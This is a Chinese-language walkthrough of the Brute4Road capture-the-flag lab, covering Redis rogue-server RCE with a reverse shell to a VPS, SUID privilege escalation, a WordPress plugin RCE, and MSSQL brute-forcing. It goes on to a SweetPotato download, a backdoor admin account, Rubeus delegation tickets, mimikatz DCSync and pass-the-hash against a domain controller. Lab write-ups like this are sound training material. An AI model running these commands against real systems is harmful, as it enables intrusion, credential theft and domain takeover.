Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
参考文章:
访问 IP 得到如下界面
fscan 扫描 IP,存在 redis 未授权和 ftp 默认用户
ftp 版本是 3.0.2,匿名登陆后没找到后利用方法,考虑 redis 主从复制 RCE
VPS 上开启 redis_rogue_server,kali 上直连靶机 redis
#VPS
python3 redis_rogue_server.py -v -lport 21000 -path exp.so
#kali
redis-cli -h 39.99.148.41
而后 config set
相关参数,slaveof
进行主从同步,把 exp.so 写入到靶机指定目录
写入完成后,module load ./exp.so
加载,system.rev VPS:IP PORT
反弹shell
在 /home/redis/flag
下找到 flag,但是没有权限读取,考虑提权
find / -perm -u=s -type f 2>/dev/null
发现 base64 可以用
base64 /home/redis/flag/flag01 | base64 -d
因为环境出网,先传个 fscan 进去,但是环境里没有 ifconfig/ip addr
,用 netstat -ano
看一下确定本机 IP 为 172.22.2.7
,直接开扫
start ping
(icmp) Target 172.22.2.16 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.18 is alive
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.34 is alive
[*] Icmp alive hosts len is: 5
172.22.2.34:445 open
172.22.2.16:1433 open
172.22.2.3:445 open
172.22.2.18:445 open
172.22.2.16:445 open
172.22.2.34:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.18:139 open
172.22.2.16:139 open
172.22.2.3:135 open
172.22.2.16:135 open
172.22.2.18:80 open
172.22.2.16:80 open
172.22.2.7:80 open
172.22.2.18:22 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.7:6379 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] WebTitle:http://172.22.2.16 code:404 len:315 title:Not Found
[+] NetInfo:
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] WebTitle:http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[+] NetInfo:
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] 172.22.2.3 [+]DC XIAORANG\DC Windows Server 2016 Datacenter 14393
[+] NetInfo:
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] 172.22.2.34 XIAORANG\CLIENT01
[*] 172.22.2.16 XIAORANG\MSSQLSERVER Windows Server 2016 Datacenter 14393
[*] 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[*] WebTitle:http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 10.061381225s
注意到 .18 是一个 wordpress 站点,可能存在突破口;在当前机器上传 NPC,kali 挂代理
proxychains wpscan --url http://172.22.2.18 --enumerate ap --api-token xxxxxx
疑似存在 WPCargo Unauthenticated RCE
,POC 就在给的链接里,把地址改下直接打
蚁剑挂代理 CMDLINUX 直接连,查看 wp-config.php
连接数据库可以直接找到第二个
此外,在上面的表里有个密码表,导出来;想到之前 .16 是个 MSSQLSERVER,尝试 MSF 密码爆破
得到密码后用 mssql_exec
探下权限,权限很低,需要提权
在一开始的机子上传一个 sweetpotato.exe,然后 python2 开启一个 HTTP 服务,让 .16 这边 exec 下载下来
powershell (new-object System.Net.WebClient).DownloadFile('http://172.22.2.7:8000/SweetPotato.exe','C:\programdata\SweetPotato.exe)'
传上去后,执行 C:\ProgramData\SweetPotato.exe -a whoami
flag03 直接读就行
为方便后续利用,还是添加用户,放到管理员组
C:/ProgramData/SweetPotato.exe "net user aspiran7 qwer1234! /add"
C:/ProgramData/SweetPotato.exe "net localgroup administrators aspiran7 /add"
但是 kali proxychains rdesktop
上不去,提示 Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).
,可以用这篇文章里的 remmina 解决,或是直接在 win 机上挂 proxifier 解决
mimikatz 传上去收集信息
可以拿到服务账户的 HASH 值,考虑约束委派,找了个别的师傅编译好的 rubeus.exe 传上去,但是不能执行,提示 .NET Framework 3.5 的问题,然后找了两篇文章解决下:
- https://blog.csdn.net/pixel123/article/details/102936624
- https://blog.csdn.net/animatecat/article/details/123659074
再次执行申请票据
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:NTML /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > res.txt
使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3wn7THDOkrmv1eLr+klUyGS4WefLBrpejaasm/7ihxokj2LU8MMVP/wxUVOllFJiZrpRAOf5MG5HHvvfXfEe0zRelJGFWg5Vg7wtD89Cg6i8/e6wsKRofgKxNgipRctPzHjZ0OZk4UybNlE8D9X9+1hpYtKVWCZG1DKtEXEcqbvm6m/jte2udatJdSH2awHsdQIelKShLJOlptDwTW3tmXjDZcNpztbvmsGBBQFMqfLKZ1ZRgCdufAJBIaFlkcnhDrY1URydomNNl6FqdNMRnmWsFAC7VegT5+4aLLPYVvmn+iQG32rsPCsspUEJO7lXh9yIoSo9NQ/FogIFOjx7TzaUi4mOlG8ZPgJ24aTJba9yMlIzp3Awlw/1EwVl4+Drgqg0O7DLfjc6/qDvc+VEveN/td4dieC5LAVNVD5LLCiMcVavAre5SzhXgfUAOXcQRx2SHv3Vr5QbIp0PIYuP9Z6Apg9itXJ8LgKCrASdxpOMvxWN8cmJoZPXnRCN+onSkvfyDgmsAKOQl3kuGG++9F2AJs54Urv/fbaORpzSi9tw66N/4cvc4e3T4LUEzY6FszfZR7n8EkJz8YOl5gRFxEsTO+KVq1LSNpPTqBV7Ih0XzkXCqihs4dVA0Lunn40FrjCOyo/OrElZ1+Z6sR/hDQY034XEX3qya7Zsyw8uRLMNi5LTX9VYnTaFY5f1/1ugWQVT//pG4JP98Yzddzb8tMnpoxCfPQnxGOes8fgrczPjCsdWFHK4ZZUuSTMIGgk2a+nYP0kbi1ehqU1hyzDlEtKoeq7Y64zJcTeXyF/5QC+gGITSnAeHN1WaJALg6K1dsKVmpvzOElb5oZHQk/vSUppi8C+4sfhByFTDyVPsjMOkJdbl/JPc3uBoKBI5cF2ybiLEEFQfb5JQKQ3jDksFD6kYYSO2jGLmX4Y2v6LSv9NXDySHHZFjiak3eAEbNzCLgqlNBMzEbuGn7qGIigYcny4LvsfnBQXrvYr2u6pyoh1QfMEzEUEsRuFdGYZLFHDNIeZv80i2tRJMMyW+nLgWoIPuypGSIOsK7mgKKkZKG67btgQ/pgHbEex+MLW1KEhM+ZT/YdsXRWA6t47nBLCKrqFI7it+Zrm+9Ro5vOvViUZeTyOf+FUhbiliIfWQ3M9vBYMG6tL1FnR4bG1KfryCFbKNK2xmg3Nrs49N3LnVyWlIyt09bz5N4eYwUEJFrkItvRLqkbn6BKzIgVcnEmD6AYyzlD/0JbrPAIeAKI2854bT3plSqQhBy4yGF2sjRvV9pBZ2DNf48q14Ed5qnmJLVn3RNawCQ3KyPzEurzIrNv3r6/Ydru8jxUHlE+LEN6DfA00pY8H5nSbFFmLvTPfMObifa+gL+HB49X81B2vM5YCXi8HUS1xgCORyiiV125GX+ZljiEepf7kusa2Tqno/aqhLBfvYuJL5v/SD40cExJexGRJBSP/iaQXnSz6SyjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBCTLkzy20nnXJc7P8dv7HB/oQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIzMDczMTExNDY1MFqmERgPMjAyMzA3MzEyMTQ2NTBapxEYDzIwMjMwODA3MTE0NjUwWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
现在可以直接访问域控的文件,按照套路 type 其实就可以读了
讲道理,在不知道路径的情况下,需要继续利用 LDAP 服务,mimikatz.exe 导出域内用户的 HASH
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
得到管理员哈希为 1a19251fbd935969832616366ae3fe62
crackmapexec smb
传递就可以
前三部分其实还好,最后一部分约束委派这方面得再好好学习一下……